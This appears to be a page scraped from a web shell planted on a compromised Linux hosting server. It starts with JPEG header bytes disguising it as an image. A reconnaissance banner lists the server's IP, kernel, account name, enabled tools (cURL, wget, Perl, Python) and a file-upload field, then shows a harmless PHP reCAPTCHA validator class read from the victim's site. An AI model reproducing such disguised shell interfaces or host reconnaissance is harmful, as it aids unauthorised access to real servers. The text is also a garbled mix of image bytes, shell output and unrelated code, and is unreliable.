����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././www/common/Settings/Validators/ |
Upload File : |
<?php
namespace Common\Settings\Validators;
use Exception;
use Illuminate\Support\Arr;
use Common\Core\HttpClient;
class RecaptchaCredentialsValidator
{
const KEYS = ['recaptcha.site_key', 'recaptcha.secret_key'];
/**
* @var HttpClient
*/
private $httpClient;
public function __construct()
{
$this->httpClient = new HttpClient([
'exceptions' => true
]);
}
public function fails($settings)
{
try {
$response = $this->httpClient->post('https://www.google.com/recaptcha/api/siteverify', [
'form_params' => [
'response' => 'foo-bar',
'secret' => Arr::get($settings, 'recaptcha.secret_key'),
]
]);
if ($response['success'] === false && Arr::get($response, 'error-codes.1') === 'invalid-input-secret') {
$errors = ['recaptcha.secret_key' => 'This recaptcha secret key is not valid.'];
if ( ! Arr::get($settings, 'recaptcha.site_key')) {
$errors['recaptcha.site_key'] = 'Recaptcha site key is required';
}
return $errors;
}
} catch (Exception $e) {
return $this->getErrorMessage($e);
}
}
/**
* @param Exception $e
* @return array
*/
private function getErrorMessage($e)
{
return ['recaptcha-group' => $e->getMessage()];
}
}